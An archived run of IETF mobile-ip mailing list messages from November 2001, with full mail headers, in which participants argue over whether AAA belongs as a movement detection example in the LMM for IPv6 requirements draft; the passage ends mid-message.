	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA04670
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:17:48 -0700 (MST)
content-class: urn:content-classes:message
Subject: RE: [mobile-ip] LMM for IPv6 requirements-Movement detection
MIME-Version: 1.0
Date: Wed, 21 Nov 2001 18:18:05 -0500
Content-Type: text/plain;
	charset="iso-8859-1"
Message-ID: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com>
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
Thread-Topic: [mobile-ip] LMM for IPv6 requirements-Movement detection
Thread-Index: AcFy4UVwjurOOJ4wSUWdrodcLA34RgAChU7w
From: "Qiang Zhang" <qzhang@ecutel.com>
To: <mobile-ip@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fALNIALS010558
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit


Maybe should differentiate 
"physical movement" from "topological movement" ? 

I see AAA possible for the later, but no where for the physical
movement. 




Michael Thomas wrote:

> I'm making no point whatsoever on the whole draft,

Mike,

nor do I say you are making a point on the whole draft.
By mentioning the _whole_ draft, you are making a general
comment out of a particular comment. If you tweak the
premisse of a particular point into a general point, of course
the conclusions won't hold.

>
> nor can I see how my comment would be taken as
> such.

See, how could it be taken as such, as no one said it would?

> Nor have I ascribed blame on you or anybody
> else, as I have no idea who wrote the paragraph
> that was quoted.

Authorship of said paragraph (mine) was in the line _before_ said
paragraph.
Please add a disclaimer in your comments in the future saying that
your comment focuses on what you kept, and what you cut out you
disregarded. People in this list might assume you comment on the whole
email,
and might not understand where you are coming from.

Cedric.

> I'm simply pointing out that AAA
> seems like a very weird example of what
> could/should be used as a movement detection
> mechanism. As for better wording, I'd suggest that
> any mention of AAA in that capacity should just be
> deleted from the text of the requirements.
>
>              Mike
>
> Cedric Westphal writes:
>  > Mike,
>  >
>  > Michael Thomas wrote:
>  >
>  > > Cedric Westphal writes:
>  >
>  > something that conveniently got omitted to make a point. Please do
>  > not use the so-called 'projector' technique, where you point at one
>  > detail to cast doubts on the validity of the whole. The
professional
>  > attitude, as well as the common etiquette on IETF mailing lists, is
to
>  > at least mention (with a *snip* or equivalent) that you cut
something
>  > from the exchange.
>  >
>  > >
>  > >  > 3.5.4 Movement detection
>  > >  >
>  > >  > Any LMM mechanism MUST contain or make use of a mechanism that
provides
>  > >  > movement detection between separate visited domains. Movement
detection
>  > >  > allows a MN to identify that it has moved to a new LM domain,
and to perform
>  > >  > registration in the new LM domain. LMM mechanism SHOULD
interwork with
>  > >  > a default movement detection mechanism, such as AAA.
>  > >
>  > >    AAA?!?
>  > >
>  > >    AAA isn't a movement detection mechanism, nor should it be
>  > >    used as one. That's a *very* bell shaped view of the world.
>  >
>  > You can blame me as much as you care, the mention of AAA comes from
the
>  > original 3.5.4 Movement detection paragraph in the draft. By the
way, Mike,
>  > if you have some better wording to offer, please do so.
>  >
>  > Cedric.
>  >
>  > >
>  >
>  > >
>  > >
>  > >            Mike
>  >



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 18:26:44 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13242
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 18:26:44 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA10478;
	Wed, 21 Nov 2001 16:25:19 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA05263;
	Wed, 21 Nov 2001 15:25:24 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNOcLS011297
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:24:38 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALNObD9011295
	for mobile-ip-dist; Wed, 21 Nov 2001 15:24:37 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNOXLS011281
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:24:33 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA27604
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:24:33 -0800 (PST)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA17504
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:24:48 -0700 (MST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fALNOT806701
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:24:29 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAJ56598;
	Wed, 21 Nov 2001 15:23:53 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id PAA23167; Wed, 21 Nov 2001 15:24:28 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15356.14252.159853.32509@thomasm-u1.cisco.com>
Date: Wed, 21 Nov 2001 15:24:28 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
In-Reply-To: <3BFC31B8.2F5F1ABC@iprg.nokia.com>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se>
	<12d001c172bb$62709240$686015ac@docomocarl>
	<3BFC19CE.54139FE0@iprg.nokia.com>
	<3BFC1E27.AB32C653@iprg.nokia.com>
	<15356.8800.970575.517533@thomasm-u1.cisco.com>
	<3BFC2A97.95F6A11C@iprg.nokia.com>
	<15356.11481.478969.982772@thomasm-u1.cisco.com>
	<3BFC31B8.2F5F1ABC@iprg.nokia.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Jari T. Malinen writes:
 > Mike,
 > 
 > I agree with you, AAA is not a movement detection
 > mechanism. Instead of "such as AAA" one could
 > say "such as one provided by protocols indicating
 > network capabilities. Such protocols could include
 > Neighbor Discovery, Candidate Access Router protocol,
 > or AAA".
 > 
 > Or maybe you can come up with some suitable
 > examples since there are opinions LMM itself should
 > not contain movement detection?

   I've always assumed that how the mobile node
   decides it needs to move, cross realm or not,
   was strictly out of scope of LMM. Does it make
   any difference from the requirements standpoint
   whether the movement detection was the result of
   a hint from AAA, or an instinct to fly south for
   the winter?

   :-)

		Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 18:38:50 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13484
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 18:38:49 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA27583;
	Wed, 21 Nov 2001 15:37:37 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA08353;
	Wed, 21 Nov 2001 15:37:29 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNaKLS012377
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:36:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALNaJlT012376
	for mobile-ip-dist; Wed, 21 Nov 2001 15:36:19 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNaELS012358
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:36:14 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA03380
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:36:15 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA23372
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:36:32 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id PAA11325
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:36:13 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fALNaDb19200
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:36:13 -0800
X-mProtect:  Wed, 21 Nov 2001 15:36:13 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.5.64, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdLHCAx5; Wed, 21 Nov 2001 15:36:10 PST
Message-ID: <3BFC3A67.7C98C190@iprg.nokia.com>
Date: Wed, 21 Nov 2001 15:36:07 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se>
		<12d001c172bb$62709240$686015ac@docomocarl>
		<3BFC19CE.54139FE0@iprg.nokia.com>
		<3BFC1E27.AB32C653@iprg.nokia.com>
		<15356.8800.970575.517533@thomasm-u1.cisco.com>
		<3BFC2A97.95F6A11C@iprg.nokia.com>
		<15356.11481.478969.982772@thomasm-u1.cisco.com>
		<3BFC31B8.2F5F1ABC@iprg.nokia.com> <15356.14252.159853.32509@thomasm-u1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Mike,

Michael Thomas wrote:

> Jari T. Malinen writes:
>  > Mike,
>  >
>  > I agree with you, AAA is not a movement detection
>  > mechanism. Instead of "such as AAA" one could
>  > say "such as one provided by protocols indicating
>  > network capabilities. Such protocols could include
>  > Neighbor Discovery, Candidate Access Router protocol,
>  > or AAA".
>  >
>  > Or maybe you can come up with some suitable
>  > examples since there are opinions LMM itself should
>  > not contain movement detection?
>
>    I've always assumed that how the mobile node
>    decides it needs to move, cross realm or not,
>    was strictly out of scope of LMM.

This thread, as illustrated by the subject line, is about movement
detection,
not movement decision. As a consequence...

> Does it make
>    any difference from the requirements standpoint
>    whether the movement detection was the result of
>    a hint from AAA, or an instinct to fly south for
>    the winter?

> ....you are not asking a rhetorical question relevant to this thread.

...you are not asking a rhetorical question relevant to this thread.

Cedric.

>

>
>
>    :-)
>
>                 Mike



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 18:40:59 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13578
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 18:40:58 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA28364;
	Wed, 21 Nov 2001 15:39:59 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA08958;
	Wed, 21 Nov 2001 15:39:47 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNd6LS012684
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:39:06 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALNd6Wn012683
	for mobile-ip-dist; Wed, 21 Nov 2001 15:39:06 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNd2LS012665
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:39:02 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA04023
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:39:02 -0800 (PST)
Received: from salud.unm.edu (salud.unm.edu [129.24.128.127])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA19942
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:38:44 -0700 (MST)
Received: from HSC-MTA by salud.unm.edu
	with Novell_GroupWise; Wed, 21 Nov 2001 16:38:59 -0700
Message-Id: <sbfbd8a3.012@salud.unm.edu>
X-Mailer: Novell GroupWise Internet Agent 6.0.1
Date: Wed, 21 Nov 2001 16:38:40 -0700
From: "John V. Duran" <JVDuran@salud.unm.edu>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

I will be out of the office until November 28th.  Please contact the HSC
Helpdesk at 272-1694 or helpdesk@salud.unm.edu for any helpdesk related
issues.


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 18:48:45 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13711
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 18:48:45 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA25772;
	Wed, 21 Nov 2001 16:47:25 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA10638;
	Wed, 21 Nov 2001 15:47:31 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNkcLS013519
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:46:38 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALNkcVo013516
	for mobile-ip-dist; Wed, 21 Nov 2001 15:46:38 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNkXLS013500
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:46:33 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA05408
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:46:34 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by venus.sun.com (8.9.3+Sun/8.9.3) with SMTP id PAA12114
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:46:32 -0800 (PST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.12261-0@bells.cs.ucl.ac.uk>; Wed, 21 Nov 2001 23:46:19 +0000
Message-ID: <3BFC3CCA.8750CDB1@cs.ucl.ac.uk>
Date: Wed, 21 Nov 2001 23:46:18 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Guys,

 AAA is the last wheel of the carriage that gets notified about the
movement of the MN to an new domain. This has been already preceded by
network detection (L3). I would be grateful if we do not mix the two
even if we mean site/domain/planet or interstellar movement...

we all understand what was meant by the example that was brought up and
we all appreciate that the network layer prevails over detection in any
case (since we are concerned with IP mobility - yes I know it was L2
that saw it first.. )

let us please move forward on that and remove AAA from the movement
detection map or I think I am going to faint..


Theo
UCL/Mobile Systems

Qiang Zhang wrote:
> 
> Maybe should differentiate
> "physical movement" from "topological movement" ?
> 
> I see AAA possible for the later, but no where for the physical
> movement.
> 
> Michael Thomas wrote:
> 
> > I'm making no point whatsoever on the whole draft,
> 
> Mike,
> 
> nor do I say you are making a point on the whole draft.
> By mentioning the _whole_ draft, you are making a general
> comment out of a particular comment. If you tweak the
> premisse of a particular point into a general point, of course
> the conclusions won't hold.
> 
> >
> > nor can I see how my comment would be taken as
> > such.
> 
> See, how could it be taken as such, as no one said it would?
> 
> > Nor have I ascribed blame on you or anybody
> > else, as I have no idea who wrote the paragraph
> > that was quoted.
> 
> Authorship of said paragraph (mine) was in the line _before_ said
> paragraph.
> Please add a disclaimer in your comments in the future saying that
> your comment focuses on what you kept, and what you cut out you
> disregarded. People in this list might assume you comment on the whole
> email,
> and might not understand where you are coming from.
> 
> Cedric.
> 
> > I'm simply pointing out that AAA
> > seems like a very weird example of what
> > could/should be used as a movement detection
> > mechanism. As for better wording, I'd suggest that
> > any mention of AAA in that capacity should just be
> > deleted from the text of the requirements.
> >
> >              Mike
> >
> > Cedric Westphal writes:
> >  > Mike,
> >  >
> >  > Michael Thomas wrote:
> >  >
> >  > > Cedric Westphal writes:
> >  >
> >  > something that conveniently got omitted to make a point. Please do
> >  > not use the so-called 'projector' technique, where you point at one
> >  > detail to cast doubts on the validity of the whole. The
> professional
> >  > attitude, as well as the common etiquette on IETF mailing lists, is
> to
> >  > at least mention (with a *snip* or equivalent) that you cut
> something
> >  > from the exchange.
> >  >
> >  > >
> >  > >  > 3.5.4 Movement detection
> >  > >  >
> >  > >  > Any LMM mechanism MUST contain or make use of a mechanism that
> provides
> >  > >  > movement detection between separate visited domains. Movement
> detection
> >  > >  > allows a MN to identify that it has moved to a new LM domain,
> and to perform
> >  > >  > registration in the new LM domain. LMM mechanism SHOULD
> interwork with
> >  > >  > a default movement detection mechanism, such as AAA.
> >  > >
> >  > >    AAA?!?
> >  > >
> >  > >    AAA isn't a movement detection mechanism, nor should it be
> >  > >    used as one. That's a *very* bell shaped view of the world.
> >  >
> >  > You can blame me as much as you care, the mention of AAA comes from
> the
> >  > original 3.5.4 Movement detection paragraph in the draft. By the
> way, Mike,
> >  > if you have some better wording to offer, please do so.
> >  >
> >  > Cedric.
> >  >
> >  > >
> >  >
> >  > >
> >  > >
> >  > >            Mike
> >  >


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 18:50:37 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13779
	for <mobileip-archive@odin.ietf.org>; Wed, 21 Nov 2001 18:50:36 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA00642;
	Wed, 21 Nov 2001 15:49:23 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA11099;
	Wed, 21 Nov 2001 15:49:17 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNmaLS013798
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:48:36 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALNma8C013797
	for mobile-ip-dist; Wed, 21 Nov 2001 15:48:36 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALNmVLS013780
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:48:31 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA05746
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:48:32 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA26341
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 16:48:14 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id PAA11987
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:48:06 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fALNm6B32121
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:48:06 -0800
X-mProtect:  Wed, 21 Nov 2001 15:48:06 -0800 Nokia Silicon Valley Messaging Protection
Received: from jmalinen.iprg.nokia.com (205.226.2.98)
	by darkstar.iprg.nokia.com(P1.5 smtpdXpfw1o; Wed, 21 Nov 2001 15:48:05 PST
Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id PAA89331 for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 15:48:05 -0800 (PST)
Message-ID: <3BFC3D35.A812C0F2@iprg.nokia.com>
Date: Wed, 21 Nov 2001 15:48:05 -0800
From: "Jari T. Malinen" <jmalinen@iprg.nokia.com>
Organization: Nokia
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se>
		<12d001c172bb$62709240$686015ac@docomocarl>
		<3BFC19CE.54139FE0@iprg.nokia.com>
		<3BFC1E27.AB32C653@iprg.nokia.com>
		<15356.8800.970575.517533@thomasm-u1.cisco.com>
		<3BFC2A97.95F6A11C@iprg.nokia.com>
		<15356.11481.478969.982772@thomasm-u1.cisco.com>
		<3BFC31B8.2F5F1ABC@iprg.nokia.com> <15356.14252.159853.32509@thomasm-u1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Michael Thomas wrote:
> 
> Jari T. Malinen writes:
>  > Mike,
>  >
>  > I agree with you, AAA is not a movement detection
>  > mechanism. Instead of "such as AAA" one could
>  > say "such as one provided by protocols indicating
>  > network capabilities. Such protocols could include
>  > Neighbor Discovery, Candidate Access Router protocol,
>  > or AAA".
>  >
>  > Or maybe you can come up with some suitable
>  > examples since there are opinions LMM itself should
>  > not contain movement detection?
> 
>    I've always assumed that how the mobile node
>    decides it needs to move, cross realm or not,
>    was strictly out of scope of LMM. Does it make
>    any difference from the requirements standpoint
>    whether the movement detection was the result of
>    a hint from AAA, or an instinct to fly south for
>    the winter?
> 
>    :-)

The issue is rather what the LMM mobile node needs to do when
it detects it has e.g. arrived to an area supporting LMM
or exited from it as opposed to not doing that. Or crossing
